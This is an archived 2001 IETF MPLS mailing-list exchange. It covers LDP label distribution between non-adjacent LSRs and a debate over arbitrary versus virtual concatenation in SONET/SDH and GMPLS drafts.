Subject: Re: Hierarchy between two LSRs
Mime-Version: 1.0
Content-type: multipart/mixed;
	Boundary="0__=bxDtUgj20g3RwCjf8klisAzfoq70ZPRjEgVyqRi7irL3uuAhjrdZsvra"
Content-Disposition: inline
Sender: owner-mpls@UU.NET
Precedence: bulk

--0__=bxDtUgj20g3RwCjf8klisAzfoq70ZPRjEgVyqRi7irL3uuAhjrdZsvra
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline



Hi Ashish,

The Label switching is always based on the top label, without regard for the
possibility that some number of other labels may have been "above it" in the
past, or that some number of other labels may be below at present.

Regarding LSP setup between non directly connected LSRs, extended LDP discovery
mechanism is used. (pls refer section 2.4.2 of RFC 3036)

Regards
Mohit




"Asish Thomas Punnoose" <asish.punnoose@wipro.com> on 05/17/2001 05:20:04 PM

To:   mpls@UU.NET
cc:    (bcc: Mohit Goel/HSS)

Subject:  Hierarchy between two LSRs




hello

I am new to MPLS and i have a basic doubt.

If hierarchy is introduced between two LSRs, how does LDP/ CR-LDP know whether a
hierarchy exists between the two.

How does the label switching work in this situation.

Please do help and could someone send some pointers related to this topic.

Thanks in advance

Asish Thomas

--0__=bxDtUgj20g3RwCjf8klisAzfoq70ZPRjEgVyqRi7irL3uuAhjrdZsvra
Content-type: text/html;
	name="att1.htm"
Content-Disposition: attachment; filename="att1.htm"
Content-Description: Internet HTML
Content-Transfer-Encoding: base64

PCFET0NUWVBFIEhUTUwgUFVCTElDICItLy9XM0MvL0RURCBIVE1MIDQuMCBUcmFuc2l0aW9uYWwv
L0VOIj4NCjxIVE1MPjxIRUFEPg0KPE1FVEEgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PWlz
by04ODU5LTEiIGh0dHAtZXF1aXY9Q29udGVudC1UeXBlPg0KPE1FVEEgY29udGVudD0iTVNIVE1M
IDUuMDAuMjkyMC4wIiBuYW1lPUdFTkVSQVRPUj4NCjxTVFlMRT48L1NUWUxFPg0KPC9IRUFEPg0K
PEJPRFkgYmdDb2xvcj0jZmZmZmZmPg0KPERJVj48Rk9OVCBjb2xvcj0jODAwMDAwIGZhY2U9QXJp
YWwgc2l6ZT0yPmhlbGxvIDwvRk9OVD48L0RJVj4NCjxESVY+Jm5ic3A7PC9ESVY+DQo8RElWPjxG
T05UIGNvbG9yPSM4MDAwMDAgZmFjZT1BcmlhbCBzaXplPTI+SSZuYnNwO2FtIG5ldyB0byBNUExT
IGFuZCBpIGhhdmUgYSANCmJhc2ljIGRvdWJ0LiA8L0ZPTlQ+PC9ESVY+DQo8RElWPiZuYnNwOzwv
RElWPg0KPERJVj48Rk9OVCBjb2xvcj0jODAwMDAwIGZhY2U9QXJpYWwgc2l6ZT0yPklmIGhpZXJh
cmNoeSBpcyBpbnRyb2R1Y2VkIGJldHdlZW4gDQp0d28gTFNScywgaG93IGRvZXMgTERQLyBDUi1M
RFAga25vdyB3aGV0aGVyIGEgaGllcmFyY2h5IGV4aXN0cyBiZXR3ZWVuIHRoZSANCnR3by4mbmJz
cDsgPC9GT05UPjwvRElWPg0KPERJVj4mbmJzcDs8L0RJVj4NCjxESVY+PEZPTlQgY29sb3I9Izgw
MDAwMCBmYWNlPUFyaWFsIHNpemU9Mj5Ib3cgZG9lcyB0aGUgbGFiZWwgc3dpdGNoaW5nIHdvcmsg
aW4gDQp0aGlzIHNpdHVhdGlvbi48L0ZPTlQ+PC9ESVY+DQo8RElWPjxGT05UIGNvbG9yPSM4MDAw
MDAgZmFjZT1BcmlhbCBzaXplPTI+PC9GT05UPiZuYnNwOzwvRElWPg0KPERJVj48Rk9OVCBjb2xv
cj0jODAwMDAwIGZhY2U9QXJpYWwgc2l6ZT0yPlBsZWFzZSBkbyBoZWxwIGFuZCBjb3VsZCBzb21l
b25lIHNlbmQgDQpzb21lIHBvaW50ZXJzIHJlbGF0ZWQgdG8gdGhpcyB0b3BpYy48L0ZPTlQ+PC9E
SVY+DQo8RElWPiZuYnNwOzwvRElWPg0KPERJVj48Rk9OVCBjb2xvcj0jODAwMDAwIGZhY2U9QXJp
YWwgc2l6ZT0yPlRoYW5rcyBpbiBhZHZhbmNlPC9GT05UPiZuYnNwOzwvRElWPg0KPERJVj4mbmJz
cDs8L0RJVj4NCjxESVY+PEZPTlQgY29sb3I9IzgwMDAwMCBmYWNlPUFyaWFsIHNpemU9Mj5Bc2lz
aCANClRob21hczwvRk9OVD48L0RJVj48L0JPRFk+PC9IVE1MPg0K

--0__=bxDtUgj20g3RwCjf8klisAzfoq70ZPRjEgVyqRi7irL3uuAhjrdZsvra--



From owner-mpls@UU.NET  Thu May 17 08:16:49 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA15162
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 08:16:49 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpkb14751;
	Thu, 17 May 2001 12:16:20 GMT
Received: by mail-control.mail.uu.net 
	id QQkpkb14516
	for mpls-outgoing; Thu, 17 May 2001 12:15:44 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpka14241
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 12:14:29 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpka12427
	for <mpls@UU.NET>; Thu, 17 May 2001 12:13:57 GMT
Received: from samar.sasken.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: samar.sasken.com [164.164.56.2])
	id QQkpka05215
	for <mpls@UU.NET>; Thu, 17 May 2001 12:13:54 GMT
Received: from samar (localhost [127.0.0.1])
	by samar.sasken.com (8.11.3/8.11.3) with SMTP id f4HCDjm18375;
	Thu, 17 May 2001 17:43:45 +0530 (IST)
Received: from localhost (amg@localhost)
	by sund2.sasi.com (8.9.3/8.9.3) with ESMTP id RAA24777;
	Thu, 17 May 2001 17:43:13 +0530 (IST)
Date: Thu, 17 May 2001 17:43:13 +0530 (IST)
From: Abhijit M Gadgil <amg@sasken.com>
X-Sender:  <amg@sund2.sasi.com>
To: Asish Thomas Punnoose <asish.punnoose@wipro.com>
cc: <Peter.White@nokia.com>, <mpls@UU.NET>
Subject: Re: Hierarchy between two LSRs
In-Reply-To: <004601c0deca$8c8217f0$370b6f0a@Asish>
Message-ID: <Pine.GSO.4.30.0105171741470.23005-100000@sund2.sasi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

> Here i meant was that two LSRs are not directly connected, but there is a
> subnetwork which interconnects these two LSRs, so in this case how does the
> LDP help in distributing labels and forming a LSP

LDP will make use of targetted hellos that would flow thr' the underlying
subnet.. Specification is quite elaborate wrt to that have a look at
rfc3036 section 2.4

-abhijit




From owner-mpls@UU.NET  Thu May 17 09:23:01 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA16856
	for <mpls-archive@lists.ietf.org>; Thu, 17 May 2001 09:23:00 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpkf18031;
	Thu, 17 May 2001 13:20:11 GMT
Received: by mail-control.mail.uu.net 
	id QQkpkf10186
	for mpls-outgoing; Thu, 17 May 2001 13:19:38 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpkf10175
	for <mpls@mail-control.mail.uu.net>; Thu, 17 May 2001 13:19:20 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpkf00877
	for <mpls@UU.NET>; Thu, 17 May 2001 13:18:12 GMT
Received: from auemail2.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: auemail2.lucent.com [192.11.223.163])
	id QQkpkf22714
	for <mpls@UU.NET>; Thu, 17 May 2001 13:18:11 GMT
Received: from auemail2.firewall.lucent.com (localhost [127.0.0.1])
	by auemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f4HDIAY13954
	for <mpls@UU.NET>; Thu, 17 May 2001 09:18:10 -0400 (EDT)
Received: from hotair.hobl.lucent.com (h199-118-135-2.lucent.com [199.118.135.2])
	by auemail2.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with SMTP id f4HDI3Z13838;
	Thu, 17 May 2001 09:18:03 -0400 (EDT)
Received: from lucent.com by hotair.hobl.lucent.com (SMI-8.6/EMS-1.5 sol2)
	id JAA26593; Thu, 17 May 2001 09:18:01 -0400
Message-ID: <3B03CE67.289C3F1C@lucent.com>
Date: Thu, 17 May 2001 09:13:11 -0400
From: Zhi-Wei Lin <zwlin@lucent.com>
Organization: Lucent Technologies
X-Mailer: Mozilla 4.76 [en]C-CCK-MCD {Sony}  (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Dimitri Papadimitriou <dimitri.papadimitriou@alcatel.be>
CC: Maarten Vissers <mvissers@lucent.com>, Michael Waldo <mwwaldo@flash.net>,
        "Bernstein, Greg" <GregB@ciena.com>,
        "'Mannie, Eric'" <Eric.Mannie@ebone.com>, ccamp@ops.ietf.org,
        mpls@UU.NET
Subject: Re: Small issue on draft-ietf-ccamp-gmpls-sdh-00.txt
References: <E7FD0BF66F57D311809C00902785C4CC0305C106@lightera2.csd.ciena.com> <3B030221.FC3702D5@flash.net> <3B03B552.2F2CB96D@lucent.com> <3B03BA2A.81A1EBA5@alcatel.be>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

I think there will always be some set of vendors in the industry that
will add proprietary extensions to standards-based specifications
regardless of whether it is transport standards or protocol standards. 

The question that should be asked first is: is GMPLS going to add
proprietary extensions above and beyond what is standards specified? If
the answer is "yes", then that sets the precedence for any and all
vendors to request inclusion of their favorite proprietary extensions to
GMPLS. 

And if one specific proprietary extension gets an enumerated codepoint,
then that also sets the precedence for any and all vendors to request
specific codepoints for their favorite proprietary extensions. 

Are we prepared to accept that?

Zhi

BTW, currently the virtual concatenated capability specified for GMPLS
only allows for co-routing of the individual component VCs, while the
standard calls for any routing (over any links) of the individual
component VCs (more flexible). As such, do we need to call this out
explicitly in the GMPLS draft so that people do not get a
mis-understanding of what virtual concatenation can do? 

We can obviously extend this for GMPLS in the future to support the full
flexibility allowed for virtual concatenation. 





Dimitri Papadimitriou wrote:
> 
> Dear Maarten et all,
> 
> For "arbitrary contiguous concatenation" you stated (and of course)
> i agree it has been removed but the question is: what about existing
> equipments it is not because it has been removed from recommendation
> that products disappear - can someone confirm the use of arbitrary
> contiguous concatenation ? - there is also a difference between "what
> the ideal situation should be and what the situation is today in
> SDH/Sonet networks"
> 
> => ... so i don't really think it is a big issue and the following
> alternative can be used to determine what can be done:
> - either we strictly comply to "last versions" of G.707 / T1.105
> in that case "arbitrary contiguous concatenation" must be removed
> - or we do not strictly comply today then the "arbitrary concatenation"
> has to be considered in addition to "arbitrary contiguous
> concatenation" - in that case a submission to the ITU-T/T1 should be
> ideally proposed in order to "harmonize" the specifications
> - or we stay as defined today making the assumption that "arbitrary
> contiguous concatenation" was included so that some equipments might
> still support it.
> 
> Any other possibility ?
> 
> Regards,
> Dimitri.
> 
> Maarten Vissers wrote:
> >
> > Waldo,
> >
> > I am copying an email conversation ongoing in the IP-optical mailing
> > list on arbitrary concatenation. Hope this provides the input you are
> > looking for.
> >
> > Bottom line is that neither arbitrary contiguous concatenation nor
> > arbitrary concatenation is part of the SONET/SDH standards. It is a
> > vendor proprietary extension of these SONET/SDH standards, for which it
> > is in my (and some other peoples) view highly unlikely that it will be
> > included in the SONET/SDH standards.
> >
> > As you indicate with virtual concatenation being the international
> > standard and the direction in the industry today, arbitrary
> > concatenation doesn't add anything to the transport network; contrary,
> > it would cause interworking problems.
> >
> > But arbitrary contiguous concatenation wouldn't add anything either, and
> > compared to arbitrary concatenation it would still have the bandwidth
> > fragmentation problem that standard contiguous concatenation is having.
> > I.e. arbitrary contiguous concatenation is worse.
> >
> > All,
> >
> > The GMPLS SONET/SDH extension document is thus defining a control plane
> > which supports capabilities in the transport plane that are not
> > supported by the international standards for this transport plane.
> > Personally, I find this very incorrect. IETF has no mandate to change
> > the SONET/SDH standards. A control plane for the transport network
> > should follow the transport network standards, not define its own
> > transport network.
> >
> > Regards,
> >
> > Maarten
> >
> > ---------------
> >
> > Maarten Vissers wrote:
> > >
> > > Greg, Anup, Sanjay,
> > >
> > > To my recollection, the SONET/SDH definition is performed in T1X1.5 and
> > > ITU-T SG15. Last year new revisions of T1.105 and G.707 were approved,
> > > in which the "arbitrary contiguous concatenation" has been removed. Such
> > > step isn't made just for fun.
> > >
> > > If you believe the removal of "arbitrary contiguous concatenation" from
> > > these standards was a mistake, please submit a contribution to T1X1.5
> > > and ITU-T Q.11/15 with a proposal to re-introduce it. At the same time
> > > you can then also request to introduce "arbitrary concatenation" and
> > > propose mappings of client signals into these arbitrary (contiguous)
> > > concatenated signals. However, as indicated by Mark, Juergen and myself,
> > > I doubt if you find support for such extension of SONET and SDH.
> > >
> > > For the moment, SONET/SDH networks compliant with T1.105 and G.707
> > > standards can forward "contiguous concatenated" VC-4-Xc (X=4,16,64) and
> > > STS-3c/12c/48c/192c signals and "virtual concatenated" VC-n-Xv (n=3,4),
> > > STS-1, STS-3c-Xc (X=1..256) and VC-n (n=11,12), VT-1.5-Xv (X=1..64)
> > > signals, not the "arbitrary concatenated" signals.
> > > Arbitrary concatenation is a proprietary extension of SONET/SDH, for
> > > which there is no interworking with standard SONET/SDH networks.
> > >
> > > Virtual concatenation is THE international standardised direction, for
> > > which a vendor and operator may expect to see seemless interworking in
> > > the SONET/SDH network.
> > >
> > > Virtual concatenation got very popular due to the:
> > > - pricing of Ethernet ports on routers (compared to pricing of
> > > STM-N/OC-N ports on routers),
> > > - absence of channelized STM-N/OC-N interface ports on routers.
> > >
> > > As a result the transport network was forced to accept Ethernet physical
> > > interfaces, in additon to the traditional SONET/SDH and PDH interfaces.
> > > Transport networking engineers very well understand the desire of a
> > > customer to pay only for the bandwidth needed, and consequential within
> > > the constraints of the SONET/SDH transport network a solution was
> > > developed to meet the needs of the customer and the needs of the
> > > operator. This is virtual concatenation with GFP as encapsulation
> > > method.
> > >
> > > Virtual concatenation allows to separate the physical and logical
> > > aspects of Ethernet signals, like such is common practice for any other
> > > SDH/SONET signal. I.e. the (10M, 100M, 1G) Ethernet PHY signal is
> > > terminated, the ethernet idle packets are dropped and the packets with
> > > information inside of it are forwarded in a transport pipe sized to the
> > > customers need.
> > > The additional complexity is the introduction of a (skinny) ehternet
> > > layer on top of the SDH/SONET layers, as at a minimum some monitoring is
> > > to be performed at the ethernet level.
> > >
> > > Of course, it would be more economical if the transport network didn't
> > > have to do this job. I.e. routers should use STM-N/OC-N interface ports
> > > supporting virtual concatenated VC-n/STS/VT signals. The transport
> > > network would n't have to deal then with its client signals, and instead
> > > of ethernet in the virtual concatenated signals, any other data protocol
> > > could be used by the routers (e.g. IP/PPP/GFP).
> > >
> > > But, while having to do this ethernet processing, extensions are
> > > becoming economical in the access transport networks; i.e. having
> > > ethernet bridging/switching present, it can be used to groom ethernet
> > > traffic to further optimise and thus cost reduce ethernet packet
> > > transport. It is now possible to offer sub-VC-n/STS/VT ethernet
> > > transport pipes (in addition to the multi-VC-n/STS/VT ) through the
> > > SDH/SONET access networks.
> > >
> > > Regards,
> > >
> > > Maarten
> > >
> > > Anup Tirumala wrote:
> > > >
> > > > If routers can routinely fill TDM pipes fully, why are we even talking
> > > > virtual concatenation?
> > > >
> > > > Arbitrary (or even Virtual) concatenation has the
> > > > best bang for buck with packets sharing bandwidth
> > > > with TDM. (i.e. in a converged network).
> > > >
> > > > Indeed, a business case does exist for arbitrary concatenation.
> > > > Ask Cyras (now Ciena;)
> > > >
> > > > You must look at this in conjunction with Network Processors
> > > > and statistical multiplexing.
> > > >
> > > > A customer need only pay for as much bandwidth as he/she needs,
> > > > while the remainder can be used for TDM channels.
> > > >
> > > > We believe the case for arbitrary concatenation does exist:
> > > >
> > > > 1. scales better with technology.
> > > > 2. no massive buffering requirements. (note that virtual concatenation
> > > >    does not "guarantee" hit-less operation. with buffering, one can limit
> > > >    the hit that's all).
> > > > 3. augments native contiguous concatenation. i.e. contiguous concatenation
> > > >    becomes a degenerate case of arbitrary concatenation.
> > > > 4. A customer explicity asked for it. :)
> > > >
> > > > I think there is merit to an effort at interoperability.
> > > >
> > > > -anup
> > > >
> > > > > -----Original Message-----
> > > > > From: Mark.Jones@mail.sprint.com [mailto:Mark.Jones@mail.sprint.com]
> > > > > Sent: Tuesday, May 15, 2001 12:36 PM
> > > > > To: chickoo66@yahoo.com
> > > > > Cc: GregB@ciena.com; ip-optical@lists.bell-labs.com;
> > > > > mvissers@lucent.com
> > > > > Subject: RE: [IP-Optical] concatenation extensions in sonet/sdh
> > > > >
> > > > >
> > > > > From my perspective, all necessary applications can be met by
> > > > > contiguous
> > > > > and virtual concatenation.  Adding arbitrary concatenation simply
> > > > > increases the number of spares to maintain, the number of
> > > > > attributes to
> > > > > test for interoperability, and the potential complexity to
> > > > > port cards.
> > > > > The improved bandwidth efficiency you are going to claim
> > > > > won't outweigh
> > > > > the problems I see as a result.  Unless you can show a significant
> > > > > business driver for this, I would recommend not wasting your
> > > > > time trying
> > > > > to standardize it.  The trend is to maintain variable size
> > > > > connections
> > > > > using packets anyway.  Why are we talking about doing this
> > > > > with TDM?  I
> > > > > find it most interesting that this IETF group is discussing variable
> > > > > size TDM pipes, when routers typically can fill a TDM pipe at
> > > > > the line
> > > > > rate.
> > > > >
> > > > > Mark Loyd Jones
> > > > > Sprint
> > > > > Technology Planning & Integration
> > > > > 913-534-5247
> > > > > mark.jones@mail.sprint.com
> > > > >
> > > > >
> > > > > > -----Original Message-----
> > > > > > From: chickoo66 [mailto:chickoo66@yahoo.com]
> > > > > > Sent: Tuesday, May 15, 2001 1:47 PM
> > > > > > To: GregB; mvissers; ip-optical
> > > > > > Cc: chickoo66
> > > > > > Subject: RE: [IP-Optical] concatenation extensions in sonet/sdh
> > > > > >
> > > > > >
> > > > > > I could not agree more.
> > > > > > Arb-Concatenation, being a logical (and graceful)
> > > > > > extension of standard contiguous concatenation,
> > > > > > can easily co-exist with virtual.
> > > > > > Imagine channels such as 2c,5c,6c,7c... 767c :)
> > > > > > However, we need to be able to interoperate
> > > > > > with outside-vendor equipments, with regards
> > > > > > to the multiplexing scheme.
> > > > > > Dr.Berstein/other, do you know of any such
> > > > > > interoperating effort on-going?
> > > > > > Would any one be interested in interoperability
> > > > > > issues pertaining to arb-concat?
> > > > > > I emphasize: arb-conc is complementary to virt-concat.
> > > > > > Comments?
> > > > > > Sanjay
> > > > > >
> > > > > >
> > > > > >
> > > > > > --- "Bernstein, Greg" <GregB@ciena.com> wrote:
> > > > > > > Folks, please note that Arbitrary concatenation is
> > > > > > > not in any of the ITU or
> > > > > > > ANSI standards as Maarten points out below.
> > > > > > > Maarten my understanding is that GFP can be used
> > > > > > > with either standard
> > > > > > > contiguous concatenation or virtual concatenation.
> > > > > > >
> > > > > > > For those interested in arbitrary concatenation for
> > > > > > > the standard sizes,
> > > > > > > e.g., STS-3c, STS-12c, one can just use the payload
> > > > > > > mappings from standard
> > > > > > > contiguous concatenation.  A network supporting
> > > > > > > arbitrary concatenation can
> > > > > > > transport these efficiently with no re-grooming.
> > > > > > >
> > > > > > > Note that I think SDH/SONET networks can make use of
> > > > > > > both virtual and
> > > > > > > arbitrary concatenation.
> > > > > > > Greg B.
> > > > > > >
> > > > > > >   Dr. Greg M. Bernstein, Senior Scientist, Ciena
> > > > > > >   New phone: (510) 573-2237
> > > > > > >
> > > > > > >
> > > > > > >           -----Original Message-----
> > > > > > >           From:   Maarten Vissers [mailto:mvissers@lucent.com]
> > > > > > >           Sent:   Tuesday, May 15, 2001 1:06 AM
> > > > > > >           To:     Bernstein, Greg; 'ashritha thirumalai';
> > > > > > > ip-optical@lists.bell-labs.com
> > > > > > >           Subject:        Re: [IP-Optical] concatenation
> > > > > > extensions
> > > > > > > in
> > > > > > > sonet/sdh
> > > > > > >
> > > > > > >            << File: Card for Maarten Vissers >> Greg,
> > > > > > >
> > > > > > >           The transport of ethernet signals via SDH/SONET
> > > > > > > networks is
> > > > > > > being
> > > > > > >           defined in T1 and ITU-T to use virtual
> > > > > > > concatenation and GFP
> > > > > > > for
> > > > > > >           encapsulation, not arbitrary concatenation.
> > > > > > >
> > > > > > >           The transport of SAN signals (ESCON, FC, FICON)
> > > > > > > via
> > > > > > > SDH/SONET networks
> > > > > > >           is being defined in T1 and ITU-T to use virtual
> > > > > > > concatenation and GFP
> > > > > > >           for encapsulation, not arbitrary concatenation.
> > > > > > >
> > > > > > >           The transport of ATM signals via SDH/SONET
> > > > > > > networks is
> > > > > > > defined in T1 and
> > > > > > >           ITU-T to use VC-3/STS-1, VC-4/STS-3c,
> > > > > > > VC-4-4c/STS-12c,
> > > > > > > VC-4-16c/STS-48c,
> > > > > > >           VC-4-64c/STS-192c, VC-4-256c/STS-768c and
> > > > > > > STS-1-Xv,
> > > > > > > VC-4-Xv/STS-3c-Xv.
> > > > > > >
> > > > > > >           For the case interworking between subnetworks of
> > > > > > > different
> > > > > > > vendors and
> > > > > > >           networks of different operators is required, the
> > > > > > > above
> > > > > > > signals and
> > > > > > >           mappings are to be used.
> > > > > > >
> > > > > > >           For the case interworking is not required, any
> > > > > > > proprietary
> > > > > > >           implementation (e.g. arbitrary concatenation) can
> > > > > > > be used.
> > > > > > >
> > > > > > >           Regards,
> > > > > > >
> > > > > > >           Maarten
> > > > > > >
> > > > > > >
> > > > > > >           Maarten Vissers wrote:
> > > > > > >           >
> > > > > > >           > Greg, Sanjay,
> > > > > > >           >
> > > > > > >           > In additon to Juergen's comment, I would like to
> > > > > > > point out
> > > > > > > that VC-4-2c,
> > > > > > >           > VC-4-3c, VC-4-5c, etc are not longer part of the
> > > > > > > SDH
> > > > > > > hierarchy (G.707
> > > > > > >           > 10/2000), and I doubt if the ITU-T community
> > > > > > > would like to
> > > > > > > re-introduce
> > > > > > >           > these signal types given all the hassle the
> > > > > > > introduction
> > > > > > > of VC-4-4c
> > > > > > >           > (with ATM payload) did cause in the past.
> > > > > > >           >
> > > > > > >           > And as Juergen indicated, real arbitrary
> > > > > > > concatenation
> > > > > > > would require the
> > > > > > >           > mapping of a VC-4-Xc signal in any set of X AU-4
> > > > > > > timeslots. As long as
> > > > > > >           > you need still a series of contiguous timeslots
> > > > > > > (i.e.
> > > > > > > arbitrary
> > > > > > >           > contiguous concatenation), bandwidth
> > > > > > > defragmenation (or
> > > > > > > re-grooming) is
> > > > > > >           > required once every ...
> > > > > > >           >
> > > > > > >           > I.e. arbitrary contiguous concatenation (ACC)
> > > > > > >           > - still has the same fragmentation issue that is
> > > > > > > also
> > > > > > > present in today's
> > > > > > >           > contiguous concatenation; it is less restrictive
> > > > > > > from a
> > > > > > > theoretical
> > > > > > >           > perspective, but Murphy's law will be
> > > > > > > applicable, and the
> > > > > > > fragmentation
> > > > > > >           > will be such that there is no contiguous set of
> > > > > > > AU4
> > > > > > > timeslots free
> > > > > > >           > normally - i.e. from the distance, there is no
> > > > > > > benifit at
> > > > > > > all from the
> > > > > > >           > operational perspective, perhaps even only a
> > > > > > > disadvantage
> > > > > > > (more complex
> > > > > > >           > provisioning due to more flexibility)
> > > > > > >           > - ACC signals can not be routed via most
> > > > > > > SDH/SONET
> > > > > > > networks.
> > > > > > >           >
> > > > > > >           > Within the OTN definition work ongoing, the ODUk
> > > > > > > multiplexing is
> > > > > > >           > intended to be specified with true arbitrary
> > > > > > > concatenation. Refer to
> > > > > > >           > SP15 of the G.709 living list for the moment.
> > > > > > > Later this
> > > > > > > week a first
> > > > > > >           > ODUk multiplexing text proposal will be issued
> > > > > > > towards
> > > > > > > ITU-T Q.11/15.
> > > > > > >           >
> > > > > > >           > Regards,
> > > > > > >           >
> > > > > > >           > Maarten
> > > > > > >           >
> > > > > > >           > Heiles Juergen wrote:
> > > > > > >           > >
> > > > > > >           > > Greg, Sanjay,
> > > > > > >           > >
> > > > > > >           > > if you build up a new network, if you don't
> > > > > > > have to care
> > > > > > > about an installed base and if you further can
> > > > > > > accept to be restricted to a
> > > > > > > single vendor (E.g. signle ring network) arbitary
> > > > > > > concatenation could be
> > > > > > > fine.
> > > > > > >           > > Concerning the upgrade, virtual concatenation
> > > > > > > would
> > > > > > > often require only a new tributary interface card
> > > > > > > (depending on your system
> > > > > > > design), not an upgrade of the whole network
> > > > > > > element. As you have to install
> > > > > > > this new interface card due to the new service (e.g.
> > > > > > > 100M/1G Ethernet)in any
> > > > > > > case it is not an additional investment.
> > > > > > >           > > Greg you mentioned re-grooming as far as I
> > > > > > > understand
> > > > > > > arbitary (contiguous) concatenation you still need X
> > > > > > > contiguous VCs/SPEs.
> > > > > > > Only the number X and the starting time slot has no
> > > > > > > limitations as it is the
> > > > > > > case for standard contiguous cocnatenation. So you
> > > > > > > still ahve to do
> > > > > > > re-grooming if for example time slots 1, 5 and 6 are
> > > > > > > available in an STM-16
> > > > > > > signal as these time slots are not contgiguous.
> > > > > > > Arbitary concatenation has
> > > > > > > less restrictions compared to standard contiguous
> > > > > > > concatenation, but still
> > > > > > > has restrictions.
> > > > > > >           > > Sanjay, you talked about OC3072. We might have
> > > > > > > 160
> > > > > > > Gbit/s in the future in some parts of the network,
> > > > > > > but others are still
> > > > > > > running with lower line speeds (e.g. long distance
> > > > > > > systems, trans oceanic
> > > > > > > systems) as the higher bit rate imposes limitations
> > > > > > > in the distance and you
> > > > > > > have an isntalled base. With virtual concatenation
> > > > > > > it is not a problem to
> > > > > > > transport a 160 Gbit/s service (if such a kind of
> > > > > > > service is needed in any
> > > > > > > case) over 4x40G or 16x10G.
> > > > > > >           > > Note that arbitary concatenation was diffcult
> > > > > > > to
> > > > > > > implement with the chip technology available some
> > > > > > > years ago when the
> > > > > > > processing was often done in parallel on several
> > > > > > > chips. Todays single chip
> > > > > > > solutions allowed to introduce arbitary
> > > > > > > concatenation. For the size of the
> > > > > > > alignment buffer for virtual concatenation it is
> > > > > > > also only a question of the
> > > > > > > size of available memory chips which will increase
> > > > > > > over time.
> > > > > > >           > > Sanjay you mentioned that it might be possible
> > > > > > > to use
> > > > > > > just an SW upgrade for an cross-connect in order to
> > > > > > > get arbitary
> > > > > > > concatenation support. I don't think so as arbitary
> > > > > > > concateantion requries
> > > > > > > specific pointer processing which is done in HW.
> > > > > > >           > >
> > > > > > >           > > Regards
> > > > > > >           > >
> > > > > > >           > > Juergen
> > > > > > >           > >
> > > > > > >           > > > -----Original Message-----
> > > > > > >           > > > From: Bernstein, Greg [SMTP:GregB@ciena.com]
> > > > > > >           > > > Sent: Monday, May 14, 2001 5:55 AM
> > > > > > >           > > > To:   'ashritha thirumalai'; Fong, Man Wing;
> > > > > > > Maarten
> > > > > > > Vissers; Heiles Juergen
> > > > > > >           > > > Cc:   ip-optical@lists.bell-labs.com
> > > > > > >           > > > Subject:      RE: [IP-Optical] concatenation
> > > > > > > extensions in sonet/sdh
> > > > > > >           > > >
> > > > > > >           > > > Hi Sanjay see comments in line below.
> > > > > > >           > > > Greg B.
> > > > > > >           > > >
> > > > > > >           > > >       Dr. Greg M. Bernstein, Senior
> > > > > > > Scientist, Ciena
> > > > > > >           > > >       New phone: (510) 573-2237
> > > > > > >           > > >
> > > > > > >           > > >
> > > > > > >           > > >               -----Original Message-----
> > > > > > >           > > >               From:   ashritha thirumalai
> > > > > > > [mailto:chickoo66@yahoo.com]
> > > > > > >           > > >               Sent:   Saturday, May 12, 2001
> > > > > > > 9:54 AM
> > > > > > >           > > >               To:     Bernstein, Greg; Fong,
> > > > > > > Man Wing;
> > > > > > > Maarten Vissers;
> > > > > > >           > > > Heiles Juergen
> > > > > > >           > > >               Cc:
> > > > > > > ip-optical@lists.bell-labs.com
> > > > > > >           > > >               Subject:        RE:
> > > > > > > [IP-Optical]
> > > > > > > concatenation extensions in
> > > > > > >           > > > sonet/sdh
> > > > > > >           > > >
> > > > > > >           > > >               Dr. Bernstein,
> > > > > > >           > > >
> > > > > > >           > > >               Glad you replied.
> > > > > > >           > > >
> > > > > > >           > > >               A few further questions:
> > > > > > >           > > >
> > > > > > >           > > >               1. how are two different
> > > > > > > vendors
> > > > > > > implementing arb-conc
> > > > > > >           > > >               going to inter-operate? (i.e.
> > > > > > > how are
> > > > > > > bytes in
> > > > > > >           > > >               an arb-concatenated channel
> > > > > > > multiplexed
> > > > > > > into the
> > > > > > >           > > >               rest of Sonet/SDH timeslots?)
> > > > > > >           > > >               > For non-standard sizes this
> > > > > > > needs some
> > > > > > > work. I'm happy to
> > > > > > >           > > > work anyone in this area. Starting with the
> > > > > > > standard
> > > > > > > sizes isn't a problem
> > > > > > >           > > > we just use the already standardized
> > > > > > > mappings.
> > > > > > >           > > >               2. would you be able to list
> > > > > > > some
> > > > > > > vendors that
